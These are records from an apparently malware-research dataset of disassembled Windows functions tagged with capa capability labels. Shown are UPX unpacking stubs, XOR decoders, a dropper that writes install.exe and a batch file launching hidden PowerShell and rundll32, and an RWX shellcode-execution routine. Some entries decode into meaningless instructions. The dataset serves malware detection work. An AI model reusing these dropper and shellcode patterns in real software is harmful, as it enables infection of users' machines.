joyce8/EMBER2024-capa huggingface dataset:
Function at 0x98ca20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x36e000]
push edi
jmp 0x98ca3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x98ca41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x98ca30
mov eax, 1
add ebx, ebx
jne 0x98ca53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x98ca64
jne 0x98ca83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x98ca83
dec eax
add ebx, ebx
jne 0x98ca70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x98ca48
add ebx, ebx
jne 0x98ca7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x98cad5
xor ecx, ecx
sub eax, 3
jb 0x98ca9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x98cb0a
sar eax, 1
mov ebp, eax
jmp 0x98caa6
add ebx, ebx
jne 0x98caa6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x98ca74
inc ecx
add ebx, ebx
jne 0x98cab4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x98ca74
add ebx, ebx
jne 0x98cac1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x98cab6
jne 0x98cad2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x98cab6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x98caf4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x98cae6
jmp 0x98ca36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x98caf4
add edi, ecx
jmp 0x98ca36
pop esi
mov edi, esi
mov ecx, 0x6ff
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x98cb12
cmp byte [edi], 0x11
jne 0x98cb12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x98cb17
lea edi, [esi + 0x589000]
mov eax, dword [edi]
or eax, eax
je 0x98cb86
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5ef78c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5ef7b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x98cb44
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5ef7bc]
or eax, eax
je 0x98cb80
mov dword [ebx], eax
add ebx, 4
jmp 0x98cb61
call dword [esi + 0x5ef7b8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x98cbb7
cmp al, 0xef
ja 0x98cbaa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x98cb8c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x98cb99
mov ebp, dword [esi + 0x5ef7c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x98cbeb
sub esp, 0xffffff80
jmp 0x405ff0
Function at 0x401b20
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0xac]
xor esi, esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401c96
lea eax, [ebp - 0xb4]
push eax
push 4
lea eax, [ebp - 0xb0]
push eax
push 0x14
push dword [ebp - 0xac]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 0xac]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
cmovne esi, dword [ebp - 0xb0]
call edi
test esi, esi
je 0x401c96
push ebx
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push 0x4043d0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
cmp esi, 0xffffffff
je 0x401bd6
push 0
lea eax, [ebp - 0xb4]
push eax
push 0x4800
push 0x45ce18
push esi
call ebx
push esi
call edi
push 0
push 0x80
push 2
push 0
push 3
mov ecx, 0x29
lea edi, [ebp - 0xa8]
mov esi, str._echo_off_r_npowershell__windowstyle_hidden__command__Start_Process_cmd__WindowStyle_Hidden__ArgumentList__c___r_nrundll32_C:install.dll_1_r_nstart__b_C:install.exe
push 0xc0000000
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push str.C:_run.bat
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x401c31
push 0
lea eax, [ebp - 0xb0]
push eax
push 0xa4
lea eax, [ebp - 0xa8]
push eax
push edi
call ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x401c37
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push str.C:install.exe
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x401c70
push 0
lea eax, [ebp - 0xac]
push eax
push 0x56e00
push 0x406018
push esi
call ebx
push esi
call edi
push str.start_C:_run.bat
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
call fcn.00401d60
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004023ff
mov esp, ebp
pop ebp
ret 0x10
call fcn.004015f0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004023ff
mov esp, ebp
pop ebp
ret 0x10
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x4ab2281f
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x49462ac8
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x7af820
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1e1000]
push edi
or ebp, 0xffffffff
jmp 0x7af842
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7af849
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7af838
mov eax, 1
add ebx, ebx
jne 0x7af85b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7af86c
jne 0x7af88b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7af88b
dec eax
add ebx, ebx
jne 0x7af878
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7af850
add ebx, ebx
jne 0x7af887
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7af8dd
xor ecx, ecx
sub eax, 3
jb 0x7af8a3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7af912
sar eax, 1
mov ebp, eax
jmp 0x7af8ae
add ebx, ebx
jne 0x7af8ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7af87c
inc ecx
add ebx, ebx
jne 0x7af8bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7af87c
add ebx, ebx
jne 0x7af8c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7af8be
jne 0x7af8da
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7af8be
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7af8fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7af8ee
jmp 0x7af83e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7af8fc
add edi, ecx
jmp 0x7af83e
pop esi
mov edi, esi
mov ecx, 0xd3dc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7af91a
cmp byte [edi], 0x2a
jne 0x7af91a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7af91f
lea edi, [esi + 0x3ac000]
mov eax, dword [edi]
or eax, eax
je 0x7af997
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3b93d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3b9508]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7af94c
mov ecx, edi
jns 0x7af97b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3b9510]
or eax, eax
je 0x7af991
mov dword [ebx], eax
add ebx, 4
jmp 0x7af969
call dword [esi + 0x3b950c]
mov ebp, dword [esi + 0x3b9514]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7af9cb
sub esp, 0xffffff80
jmp 0x5c4026
Function at 0x403992
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
jbe 0x4039e2
push ebx
mov ebx, dword [esp + 0x14]
and ebx, 1
mov al, byte [esi + ebp]
mov ecx, 0x47e358
xor al, 0x73
sub al, 0x58
push ebx
mov byte [esi + ebp], al
call fcn.00402696
push eax
call fcn.00401e6b
mov al, byte [esi + ebp]
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [esi + ebp], al
inc esi
pop ecx
cmp esi, dword [esp + 0x14]
jb 0x4039a8
pop ebx
pop esi
pop ebp
ret

Function at 0x4046c6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x47d100]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x425390
lea ecx, [ebp - 0x1c]
call fcn.00402057
push 0xc
call fcn.00407dde
pop ecx
test eax, eax
je 0x4046fd
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00402109
jmp 0x4046ff
xor eax, eax
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x47cc40
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
call fcn.00403969
mov edx, 0x47cc40
add edx, 0x188
mov esi, 0x430040
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00403767
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00407e1c
leave
ret

Function at 0x408a22
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x408a61
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x408a61
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x408a61
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x408a61
cmp dword [ecx + 0x74], 0xe
jbe 0x408a61
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x417ced
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4292d0
push 0x4292c8
push 0x426e14
push 0x1e
call fcn.00417b5a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417d21
push dword [ebp + 8]
mov ecx, esi
call dword [0x425138]
call esi
jmp 0x417d27
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x419f56
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00419bf8

Function at 0x419f61
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00419d87

Function at 0x41a35b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00408b90
mov eax, dword [0x47d100]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00417566
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41a39d
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41a4f9
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00424250
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47ec08]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041b52b
mov ecx, dword [esi*4 + 0x47ec08]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41a4f2
cmp eax, dword [edi + ecx + 0x24]
jne 0x41a4f2
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41a4f2
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041b52b
add esp, 0x14
test edx, edx
jl 0x41a4f2
jg 0x41a468
test eax, eax
jb 0x41a4f2
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41a4f2
jl 0x41a482
cmp dword [ebp - 0x1008], eax
ja 0x41a4f2
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41a4a0
test ebx, ebx
je 0x41a4d9
cmp ecx, edi
jae 0x41a4d9
mov al, byte [ecx]
cmp al, 0xd
jne 0x41a4ba
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41a4c6
cmp byte [ecx + 1], 0xa
jne 0x41a4c6
inc ecx
jmp 0x41a4c6
movzx eax, al
movsx eax, byte [eax + 0x47d3c8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41a4a0
cmp edx, ebx
jne 0x41a4a0
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41a4f7
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407e1c
leave
ret
Function at 0x41a9c9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47ec08]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41aa09
cmp byte [ebx], 0xa
jne 0x41aa09
or byte [eax + edi + 0x28], 4
jmp 0x41aa0e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ab0c
mov al, byte [edx]
cmp al, 0x1a
je 0x41aaee
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41aa3d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41aa62
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41aa6c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41aa1f
jmp 0x41ab0c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41aae9
cmp dword [ebp - 0xc], 0
je 0x41aae9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47ec08]
test byte [eax + edi + 0x28], 0x48
je 0x41aac3
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41aaae
mov byte [esi], dl
jmp 0x41aabf
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47ec08]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ab0c
cmp byte [ebp - 1], 0xa
jne 0x41aad2
cmp esi, ebx
jne 0x41aad2
mov byte [esi], 0xa
jmp 0x41ab0b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041b549
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ab0c
mov byte [esi], 0xd
jmp 0x41ab0b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47ec08]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ab08
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ab0c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41ab15
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47ec08]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ab58
cmp word [esi], dx
jne 0x41ab58
or byte [edi + eax + 0x28], 4
jmp 0x41ab5d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41acb0
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41ac90
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41ab9f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41abd5
cmp eax, edx
jae 0x41abe1
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41ab77
jmp 0x41acb0
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x41ac8c
cmp dword [ebp - 0x14], 0
je 0x41ac8c
mov eax, dword [ebx*4 + 0x47ec08]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ac64
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ac2d
mov word [esi], cx
jmp 0x41ac60
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47ec08]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47ec08]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47ec08]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41acb0
pop ebx
cmp word [ebp - 4], bx
jne 0x41ac75
cmp esi, dword [ebp + 0xc]
jne 0x41ac75
mov word [esi], bx
jmp 0x41acad
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041b549
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41acb0
push 0xd
jmp 0x41aca9
mov ecx, dword [ebx*4 + 0x47ec08]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41aca7
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41acb0
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41cdad
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41ce4a
push ebx
push esi
call fcn.0041cd76
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041b9fb
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41cdf7
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41ce49
push edi
push eax
call fcn.004166c0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41ce17
call fcn.00416496
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41ce48
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041b9fb
add esp, 0x20
test eax, eax
jne 0x41ce36
push edi
call fcn.00416496
jmp 0x41ce3e
push ebx
call fcn.00416496
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x424050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42407d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42407d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40712f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
test byte [esi + 0x24], 1
je 0x4074f5
cmp byte [ebp + 0x10], 1
push edi
jne 0x40716e
mov eax, dword [esi + 0x14]
add eax, 0xfffffffe
cmp eax, 5
ja 0x4074f4
jmp dword [eax*4 + 0x407a9c]
mov edi, dword [ebp + 0xc]
test edi, edi
jle 0x4074f4
cmp edi, 0xd
jge 0x4074f4
mov eax, dword [edi*4 + 0x768270]
dec edi
push ebx
push 0x1b7
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], 0
call fcn.004c5113
mov bl, byte [ebp + 0x14]
cmp eax, 1
je 0x4071ba
cmp bl, 1
jne 0x407470
mov eax, dword [edi*4 + 0x7682a4]
cmp eax, 8
jg 0x4071cb
add al, 0xbd
movsb byte es:[edi], byte [esi]
xor byte [esi], 0x83
clc
or byte [edi + 5], bh
cmp dword [esi + 0x14], eax
jg 0x4071d4
cmp bl, 1
jne 0x407470
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x7682f0]
mov dword [0x779070], 0
mov dword [0x779074], 0xffffff
mov ecx, 0xff
mov edi, 0x779078
rep stosd dword es:[edi], eax
lea ecx, [ecx]
xchg ebp, eax
push ss
xchg ebx, eax
jbe 0x4071bb
lea ebp, [eax + 0x3a]
aad 0x3b
mov al, 0
ret 0xe529
push ebp
cdq
add edi, dword [edi - 0x65877be9]
pop ebp
invalid
test eax, 0xcda61541
sbb bh, byte [edi]
xchg ebp, eax
and byte [edi], dl
and bl, byte [eax]
or eax, 0xd1e51480
push 0x914d8a57
dec esi
mov ecx, 0x71f47906
retf 0xd4e
mov byte [esi + 0x444c2b47], al
xchg byte [edi + 0x2b], al
dec esp
inc esp
add eax, 0xf86957fd
xor al, 0xe8
in eax, 0x1b
xchg dword [edi - 0x3e32c81a], ebp
sbb dword [edi - 0x3a], esi
jnp 0x4074b3
pop eax
sti
dec ebp
inc esp
salc
popfd
inc ebp
fmul qword [eax]
int3

Function at 0x4cb06a
Capabilities:
Encode data using xor

Disassembly:
arpl word [edx - 0x99e332d], di
sub bx, word [edx]
dec eax
xchg esp, eax
pop ebx
sub byte [edx], bh
dec esi
mov eax, 0x61a5a1d6
in al, 0x12
mov bl, 0xae
adc dword [ebx + 0x77945788], ebx
movsd dword es:[edi], dword [esi]
xchg dword [ebx], edx
fisubr dword [edx]
setne byte [eax + 0x39]
cli
sbb esp, ebp
invalid

Function at 0x512d29
Capabilities:
Encode data using xor

Disassembly:
or al, 0x11
fidiv word [ebx + 0x31]
mov ecx, eax
dec dh
pop edx
sahf
push 0xdaac5736
pop es
xchg esi, eax
scasd eax, dword es:[edi]
push edi
shr dword [ebx + 0x24], 1
ret
jge 0x512ceb
ficom word [edi - 0xd0ff921]
leave
fsub dword [ebp - 0x7fbc18d3]
mov edx, 0x15a73040
pop esi
aaa
stosd dword es:[edi], eax
invalid

Function at 0x557219
Capabilities:
Encode data using xor

Disassembly:
push cs
and dword [edi], ebx
outsb dx, byte [esi]
xchg byte [esi], cl
and al, 0x27
mov al, 0xd3
or dword [edx], 0xbc57001f
invalid